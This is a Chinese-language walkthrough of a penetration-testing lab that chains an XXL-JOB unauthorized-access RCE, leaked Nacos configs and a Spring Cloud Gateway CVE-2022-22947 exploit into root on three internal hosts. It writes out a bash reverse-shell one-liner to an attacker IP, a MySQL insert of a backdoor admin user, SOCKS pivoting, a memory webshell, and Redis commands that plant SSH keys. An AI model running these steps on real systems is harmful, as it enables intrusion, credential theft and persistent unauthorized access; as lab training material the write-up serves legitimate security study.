发现就开了4个端口，22，8080，8081，9999

识别出9999端口是XXL-JOB

curl http://192.168.28.30:9999

通过搜索引擎知道是xxl-job-execute未授权漏洞

xxl-job-execute未授权rce

xxl-job-admin后台rce

查看xxl-job服务的目录，存在xxl-job-admin和xxl-job-excutor

查看正在运行的服务

systemctl list-unit-files --type=service|grep enabled

对应我们扫描到的8080和9999端口

将jar包下载下来，用jadx进行反编译，或者解压出来

查看BOOT-INF/classes/application.properties配置文件，找到数据库账户和密码

凭据：root:root_pwd

登录mysql

mysql -uroot -proot_pwd

use xxl_job;
select * from xxl_job_user;

插入test用户，密码为123456

insert into xxl_job_user (id,username,password,role,permission) values (2,"test","e10adc3949ba59abbe56e057f20f883e",1,NULL);

job-admin后台的默认地址为：/xxl-job-admin

后台URL：http://192.168.28.30:8080/xxl-job-admin

创建攻防任务，选择GLUE(Shell)

点击GLUE IDE编辑任务内容

输入反弹shell命令，并保存

/bin/bash -i >& /dev/tcp/192.168.28.4/2234 0>&1

点击执行一次，机器地址填写外网机ip的9999端口

http://192.168.28.30:9999/

攻击机监听2234端口

成功执行，拿到反弹shell

拿到root用户的shell

内网渗透

查看外网机的IP配置，存在两个IP地址，内网地址：192.168.100.20

代理搭建

使用vshell搭建代理，端口：8899

在kali上，将下面内容追加到/etc/proxychains4.conf文件中

socks5 192.168.28.4 8900

测试隧道

proxychains4 curl -v http://192.168.100.50:8848

windows主机下使用Proxifier

首先添加代理服务器

添加代理规则，指定目标主机192.168.100.*

8848 nacos未授权

根据fscan的扫描结果，8848端口是nacos服务

username=test&password=test

test:test添加成功

访问：http://192.168.100.50:8848/nacos，进行登录

存在一些配置列表

逐一查看

admin-api中存在redis服务的密码

redis:
    #数据库索引
    database: 0
    host: 127.0.0.1
    port: 6379
    password: nbsg@123456
    #连接超时时间
    timeout: 50000

这里还有一些关于云一类的ak,sk，这个靶场并未涉及

8800 CVE-2022-22947

Spring Cloud Gateway RCE漏洞

8800 端口经典的springboot报错，扫描存在actuator未授权

首先创建路由，201表示创建成功

然后刷新路由

在访问这个路由，发现命令成功执行

然后就写哥斯拉内存马

因为这个机器在内网，所以直接拿正向的shell

用vshell生成一个正向的客户端，监听80端口

通过webshell，上传到机器，给执行权限并执行

添加正向连接，注意添加代理：socks5://192.168.28.4:8899

IP：192.168.88.70，存活三个端口，22,6379

6379是redis的端口，在上面我们通过nacos拿到了redis的密码，所以优先尝试redis

通过内网1搭建隧道

为proxychains4配置代理

socks5 192.168.28.4 8900

利用之前的密码，成功登录redis服务

这里就可以进行写ssh公钥（22端口是开放的）

方法一：手动写SSH公钥

将公钥复制出来

(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt

将key.txt的内容设置给一个键值

cat key.txt| redis-cli -h 192.168.88.70 -a "nbsg@123456" -x set pub

连接到redis

proxychains4 redis-cli -h 192.168.88.70 -a "nbsg@123456"

192.168.88.70:6379> config set dir '/root/.ssh'
OK
192.168.88.70:6379> config set dbfilename authorized_keys
OK
192.168.88.70:6379> save
OK

proxychains4 ssh root@192.168.88.70

方法二：自动化写入SSH公钥

使用mdut工具

打开后，替换公钥

写入成功

然后上线一下vshell

最后拿到三台主机的权限
